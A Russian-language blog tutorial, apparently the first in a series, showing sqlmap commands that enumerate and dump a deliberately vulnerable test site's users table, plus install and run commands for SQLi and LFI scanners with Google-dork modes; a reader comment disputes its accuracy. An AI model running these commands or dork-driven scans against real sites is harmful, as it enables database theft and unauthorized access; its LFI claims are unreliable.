Введение
Рады вновь приветствовать дорогих читателей! Начиная с этой статьи мы запускаем новую рубрику "Крекер", в серии этих статьей мы будем разбирать различные уязвимости, их эксплуатацию. В этой вступительной статье мы разберём уязвимости SQL, LFI, ADB и инструменты их эксплуатации.
Дисклеймер: Все данные, предоставленные в статье, взяты из открытых источников. Не призывают к действию и являются только лишь данными для ознакомления, и изучения механизмов используемых технологий.
SQL инъекции и их эксплуатация
Что это?
SQL инъекция - это форма атаки на веб-приложения, которая используется для взлома баз данных. Она происходит, когда злоумышленник вводит SQL код в поля ввода веб-форм или URL-адреса, с целью изменить логику SQL запросов, выполняемых приложением. Если приложение не обрабатывает входные данные правильно, злоумышленник может внедрить вредоносный SQL код, который будет выполнен базой данных.
Практическое понимание
Для начала нам нужно практическое понимание о том, какие сайты подвержены такой уязвимости. Разберём на примере сайта, который предназначен для поиска уязвимостей на нём.
Нам нужно найти на сайте какой-либо каталог товаров, и при выборе каждого объекта, нам нужно внимательно смотреть на ссылку.
Если при выборе объекта он виден как идентификатор, к примеру artist=1
, это означает, что мы на верном пути. Для полноты картины можем в конце идентификатора поставить рандомный символ, и если это вызовет ошибку, то сайт можно тестировать.
К слову для того чтобы не возникало этой ошибки, неправильный запрос должен перехватываться и перенаправлять к примеру на начальную страницу.
SQLMAP
sqlmap — это инструмент с открытым исходным кодом для тестирования на проникновение, который автоматизирует процесс выявления и эксплуатации уязвимости SQL-инъекция и захват серверов баз данных.
Установка и использование
В Kali Linux этот инструмент можно установить при помощи команды apt install sqlmap
.
Работать мы будем всегда именно со ссылкой на идентификатор.
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch
-u
- URL который мы атакуем.
--dbs
- получаем имя базы данных.
--batch
- выбираем действия по-умолчанию.
Получили имя базы acuart
, теперь попробуем вытащить её таблицы при помощи следующей команды.
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch
-D
- имя азы данных.
--tables
- перечислить таблицы.
Вот мы и получили таблицы: artists, carts, categ, featured, guestbook, pictures, products, users. Возьмём таблицу users и выведем её столбцы при помощи следующей команды.
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch
-T
- выбрать таблицу.
--columns
- вывод столбцов.
Теперь получаем данные из таблицы по интересующим нас столбцам, при помощи следующей команды.
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch
--dump
- выгрузить информацию.
Вот таким лёгким путём мы выгрузили конфиденциальную информацию из сайта благодаря лишь одной уязвимости. Можно легко находить подобные сайты при помощи Google Dorks, но статья несёт ознакомительный характер, поэтому уязвимость показана в рамках специально созданного для этого сайта.
Logsensor
Инструмент на Python для обнаружения страниц входа и сканирования POST Form SQLi. Поддержка сканирования нескольких хостов, целевого сканирования форм SQLi и прокси-серверов.
Установка и использование
Клонируем репозиторий, устанавливаем зависимости и запускаем установщик.
git clone https://github.com/Mr-Robert0/Logsensor.git
cd Logsensor && sudo chmod +x logsensor.py install.sh
pip install -r requirements.txt
./install.sh
Теперь запускаем на том же сайте при помощи команды.
python3 logsensor.py -u "http://testphp.vulnweb.com/"
Можем просканировать несколько сайтов указав текстовой файл.
python3 logsensor.py -f file.txt
--login` - запускает только модуль детектора входа.
--sqli
-` только модуль сканирования формы.
Уязвимость LFI
Что это?
Уязвимость LFI (Local File Inclusion — локальное включение файлов) возникает, когда веб-приложение допускает включение локальных файлов на сервере в своем коде без достаточной проверки или аутентификации. Основной принцип работы уязвимости LFI заключается в том, что злоумышленник может эксплуатировать эту уязвимость, чтобы получить доступ к локальным файлам на сервере и выполнить различные атаки.
Практическая часть
Рассмотрим некоторые инструменты, которые можно использовать для сканирования и эксплуатации LFI.
Lfi-Space
LFI Space - надежный и эффективный инструмент, предназначенный для обнаружения уязвимостей локальной интеграции файлов (LFI) в веб-приложениях. Этот инструмент упрощает процесс выявления потенциальных недостатков безопасности, используя два различных метода сканирования: Google Dork Search и Targeted URL Scan.
Установка и использование
git clone https://github.com/capture0x/Lfi-Space/
cd Lfi-Space
pip3 install -r requirements.txt
Теперь запускаем python3 lfi.py
.
У инструмента есть два режима сканирования: Dork (Вы задаёте сколько адресов нужно просканировать и скрипт сам ищет дорки и сканирует их) и выбранные URL в текстовом файле.
Пример удачной эксплуатации будет выглядеть так.
Переходим по одной из ссылок и у нас скачивается файл с паролями.
Таким вот простым образом мы получили этот файл.
Заключение
Сегодня мы рассмотрели уязвимости LFI и SQL, обе уязвимости критичны для сайтов, благодаря им недоброжелатели смогут заполучить полный доступ к сайту и сделать с ним всё что пожелают. Конечно сайты с такими проблемами встречаются не часто, но через дорки их находят в достаточном количестве.
LHMedia в телеграме:
bungu
Я такие статьи читал еще в 2006-2007, когда было повальное использование PHP 4,5 людьми без понимания основ безопасности. Сейчас ваши методы можно выкинуть на помойку истории. Любой современный фреймворк не даст вам провести никаких инъекций и уж тем более LFI. Да и вы хоть бы проверяли что пишете
Переходим по одной из ссылок и у нас скачивается файл с паролями.
Какой еще там файл с паролями?
А нулл-байт в LFI это вообще смешно. Автор или на машине времени из 2000х приехал или сам не понимает что пишет